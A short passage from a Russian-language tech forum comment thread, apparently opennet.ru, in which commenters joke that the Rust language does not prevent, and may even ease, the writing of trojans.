    сейчас где то умер котё^W ржавчик. Как же так то?! ржавчина "нэ спасэ?!" ... какая боль ... ;-D
     
     
  • 4.119, Аноним (82), 02:54, 18/12/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Не только не спасает, а даже облегчает написание троянов.
     

     Добавить комментарий
    Имя:
    E-Mail:
    Текст:



    Спонсоры:
    PostgresPro
    Inferno Solutions
    Hosting by Hoster.ru
    Хостинг:

    Закладки на сайте
    Проследить за страницей
    Created 1996-2022 by Maxim Chirkov
    Добавить, Поддержать, Вебмастеру